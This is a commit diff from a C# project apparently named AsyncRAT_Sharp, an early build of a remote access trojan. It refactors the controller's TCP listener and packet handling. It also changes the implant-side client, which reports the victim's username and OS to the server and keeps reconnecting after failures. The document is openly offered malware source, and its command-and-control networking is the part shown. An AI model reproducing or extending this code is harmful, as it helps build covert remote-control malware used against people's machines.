Update
This commit is contained in:
parent
df79845f74
commit
63afbfc91f
@ -22,7 +22,7 @@ namespace AsyncRAT_Sharp
|
|||||||
while (true)
|
while (true)
|
||||||
{
|
{
|
||||||
await Task.Delay(1000);
|
await Task.Delay(1000);
|
||||||
toolStripStatusLabel1.Text = String.Format("Online {0}", listView1.Items.Count.ToString());
|
toolStripStatusLabel1.Text = string.Format("Online {0}", listView1.Items.Count.ToString());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
{
|
{
|
||||||
class HandlePacket
|
class HandlePacket
|
||||||
{
|
{
|
||||||
public delegate void UpdateListViewDelegatevoid(Clients Client, byte[] Data);
|
public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data);
|
||||||
public static void Read(Clients client, byte[] data)
|
public static void Read(Clients client, byte[] data)
|
||||||
{
|
{
|
||||||
MsgPack unpack_msgpack = new MsgPack();
|
MsgPack unpack_msgpack = new MsgPack();
|
||||||
@ -15,9 +15,9 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||||
{
|
{
|
||||||
case "ClientInfo":
|
case "ClientInfo":
|
||||||
if (Program.form1.InvokeRequired)
|
if (Program.form1.listView1.InvokeRequired)
|
||||||
{
|
{
|
||||||
Program.form1.Invoke(new UpdateListViewDelegatevoid(Read), new object[] { client, data });
|
Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data });
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
@ -17,7 +17,8 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
public bool BufferRecevied;
|
public bool BufferRecevied;
|
||||||
public MemoryStream MS;
|
public MemoryStream MS;
|
||||||
public ListViewItem LV;
|
public ListViewItem LV;
|
||||||
public bool isClientConnected;
|
public event ReadEventHandler Read;
|
||||||
|
public delegate void ReadEventHandler(Clients client, byte[] data);
|
||||||
|
|
||||||
public void InitializeClient(Socket CLIENT)
|
public void InitializeClient(Socket CLIENT)
|
||||||
{
|
{
|
||||||
@ -29,10 +30,10 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
Buffer = new byte[1];
|
Buffer = new byte[1];
|
||||||
Buffersize = 0;
|
Buffersize = 0;
|
||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
isClientConnected = true;
|
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
LV = null;
|
LV = null;
|
||||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
Read += HandlePacket.Read;
|
||||||
|
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -51,6 +52,7 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
if (Buffer[0] == 0)
|
if (Buffer[0] == 0)
|
||||||
{
|
{
|
||||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
||||||
|
MS.Dispose();
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
if (Buffersize > 0)
|
if (Buffersize > 0)
|
||||||
{
|
{
|
||||||
@ -60,7 +62,6 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
|
||||||
await MS.WriteAsync(Buffer, 0, Buffer.Length);
|
await MS.WriteAsync(Buffer, 0, Buffer.Length);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -69,22 +70,27 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
await MS.WriteAsync(Buffer, 0, Recevied);
|
await MS.WriteAsync(Buffer, 0, Recevied);
|
||||||
if (MS.Length == Buffersize)
|
if (MS.Length == Buffersize)
|
||||||
{
|
{
|
||||||
HandlePacket.Read(this, MS.ToArray());
|
|
||||||
MS = new MemoryStream();
|
Read?.BeginInvoke(this, MS.ToArray(), null, null);
|
||||||
Buffer = new byte[1];
|
Buffer = new byte[1];
|
||||||
Buffersize = 0;
|
Buffersize = 0;
|
||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Disconnected();
|
||||||
|
}
|
||||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
Disconnected();
|
Disconnected();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
}
|
|
||||||
|
|
||||||
delegate void _isDisconnected();
|
delegate void _isDisconnected();
|
||||||
public void Disconnected()
|
public void Disconnected()
|
||||||
@ -95,14 +101,21 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
{
|
{
|
||||||
LV.Remove();
|
LV.Remove();
|
||||||
}
|
}
|
||||||
|
try
|
||||||
|
{
|
||||||
|
MS.Dispose();
|
||||||
|
client.Close();
|
||||||
|
client.Dispose();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
}
|
}
|
||||||
|
|
||||||
public async void BeginSend(byte[] Msgs)
|
public async void BeginSend(byte[] Msgs)
|
||||||
{
|
{
|
||||||
if (isClientConnected || client.Connected)
|
if (client.Connected)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
|
||||||
using (MemoryStream MS = new MemoryStream())
|
using (MemoryStream MS = new MemoryStream())
|
||||||
{
|
{
|
||||||
byte[] buffer = Msgs;
|
byte[] buffer = Msgs;
|
||||||
|
@ -2,30 +2,39 @@
|
|||||||
using System.Net;
|
using System.Net;
|
||||||
using System.Net.Sockets;
|
using System.Net.Sockets;
|
||||||
using System;
|
using System;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
namespace AsyncRAT_Sharp.Sockets
|
namespace AsyncRAT_Sharp.Sockets
|
||||||
{
|
{
|
||||||
class Listener
|
class Listener
|
||||||
{
|
{
|
||||||
public TcpListener listener;
|
public Socket listener;
|
||||||
|
|
||||||
public async void Connect(int port)
|
public async void Connect(int port)
|
||||||
{
|
{
|
||||||
listener = new TcpListener(IPAddress.Any, port);
|
try
|
||||||
listener.Server.ReceiveBufferSize = 50 * 1024;
|
|
||||||
listener.Server.SendBufferSize = 50 * 1024;
|
|
||||||
listener.Server.ReceiveTimeout = -1;
|
|
||||||
listener.Server.SendTimeout = -1;
|
|
||||||
listener.Start();
|
|
||||||
|
|
||||||
while (true)
|
|
||||||
{
|
{
|
||||||
await Task.Delay(1);
|
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||||
if (listener.Pending())
|
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, port);
|
||||||
|
listener.SendBufferSize = 50 * 1024;
|
||||||
|
listener.ReceiveBufferSize = 50 * 1024;
|
||||||
|
listener.ReceiveTimeout = -1;
|
||||||
|
listener.SendTimeout = -1;
|
||||||
|
listener.Bind(IpEndPoint);
|
||||||
|
listener.Listen(50);
|
||||||
|
|
||||||
|
while (true)
|
||||||
{
|
{
|
||||||
listener.BeginAcceptSocket(EndAccept, null);
|
await Task.Delay(1);
|
||||||
|
listener.BeginAccept(EndAccept, null);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
MessageBox.Show(ex.Message);
|
||||||
|
Environment.Exit(0);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void EndAccept(IAsyncResult ar)
|
public void EndAccept(IAsyncResult ar)
|
||||||
@ -33,11 +42,10 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Clients CL = new Clients();
|
Clients CL = new Clients();
|
||||||
CL.InitializeClient(listener.EndAcceptSocket(ar));
|
CL.InitializeClient(listener.EndAccept(ar));
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{ }
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -31,6 +31,9 @@
|
|||||||
<ErrorReport>prompt</ErrorReport>
|
<ErrorReport>prompt</ErrorReport>
|
||||||
<WarningLevel>4</WarningLevel>
|
<WarningLevel>4</WarningLevel>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<StartupObject />
|
||||||
|
</PropertyGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Reference Include="Microsoft.VisualBasic" />
|
<Reference Include="Microsoft.VisualBasic" />
|
||||||
<Reference Include="System" />
|
<Reference Include="System" />
|
||||||
|
@ -2,6 +2,7 @@
|
|||||||
using Microsoft.VisualBasic;
|
using Microsoft.VisualBasic;
|
||||||
using Microsoft.VisualBasic.Devices;
|
using Microsoft.VisualBasic.Devices;
|
||||||
using System;
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Net.Sockets;
|
using System.Net.Sockets;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
@ -59,19 +60,20 @@ namespace Client
|
|||||||
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
||||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString();
|
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString();
|
||||||
return msgpack.Encode2Bytes();
|
return msgpack.Encode2Bytes();
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void ReadServertData(IAsyncResult ar)
|
public static void ReadServertData(IAsyncResult ar)
|
||||||
{
|
{
|
||||||
if (client.Connected == false)
|
|
||||||
{
|
|
||||||
client.Close();
|
|
||||||
client.Dispose();
|
|
||||||
InitializeClient();
|
|
||||||
}
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
if (client.Connected == false)
|
||||||
|
{
|
||||||
|
client.Close();
|
||||||
|
client.Dispose();
|
||||||
|
MS.Dispose();
|
||||||
|
InitializeClient();
|
||||||
|
}
|
||||||
|
|
||||||
int Recevied = client.EndReceive(ar);
|
int Recevied = client.EndReceive(ar);
|
||||||
|
|
||||||
if (Recevied > 0)
|
if (Recevied > 0)
|
||||||
@ -82,6 +84,7 @@ namespace Client
|
|||||||
if (Buffer[0] == 0)
|
if (Buffer[0] == 0)
|
||||||
{
|
{
|
||||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
||||||
|
MS.Dispose();
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
if (Buffersize > 0)
|
if (Buffersize > 0)
|
||||||
{
|
{
|
||||||
@ -100,7 +103,8 @@ namespace Client
|
|||||||
MS.Write(Buffer, 0, Recevied);
|
MS.Write(Buffer, 0, Recevied);
|
||||||
if (MS.Length == Buffersize)
|
if (MS.Length == Buffersize)
|
||||||
{
|
{
|
||||||
Read(MS.ToArray());
|
ThreadPool.QueueUserWorkItem(Read, MS.ToArray());
|
||||||
|
MS.Dispose();
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
Buffer = new byte[1];
|
Buffer = new byte[1];
|
||||||
Buffersize = 0;
|
Buffersize = 0;
|
||||||
@ -112,6 +116,7 @@ namespace Client
|
|||||||
{
|
{
|
||||||
client.Close();
|
client.Close();
|
||||||
client.Dispose();
|
client.Dispose();
|
||||||
|
MS.Dispose();
|
||||||
InitializeClient();
|
InitializeClient();
|
||||||
}
|
}
|
||||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||||
@ -120,14 +125,15 @@ namespace Client
|
|||||||
{
|
{
|
||||||
client.Close();
|
client.Close();
|
||||||
client.Dispose();
|
client.Dispose();
|
||||||
|
MS.Dispose();
|
||||||
InitializeClient();
|
InitializeClient();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void Read(byte[] Data)
|
public static void Read(object Data)
|
||||||
{
|
{
|
||||||
MsgPack unpack_msgpack = new MsgPack();
|
MsgPack unpack_msgpack = new MsgPack();
|
||||||
unpack_msgpack.DecodeFromBytes(Data);
|
unpack_msgpack.DecodeFromBytes((byte[])Data);
|
||||||
Console.WriteLine("I recevied a packet from server: " + unpack_msgpack.ForcePathObject("Packet").AsString);
|
Console.WriteLine("I recevied a packet from server: " + unpack_msgpack.ForcePathObject("Packet").AsString);
|
||||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||||
{
|
{
|
||||||
|
Loading…
x
Reference in New Issue
Block a user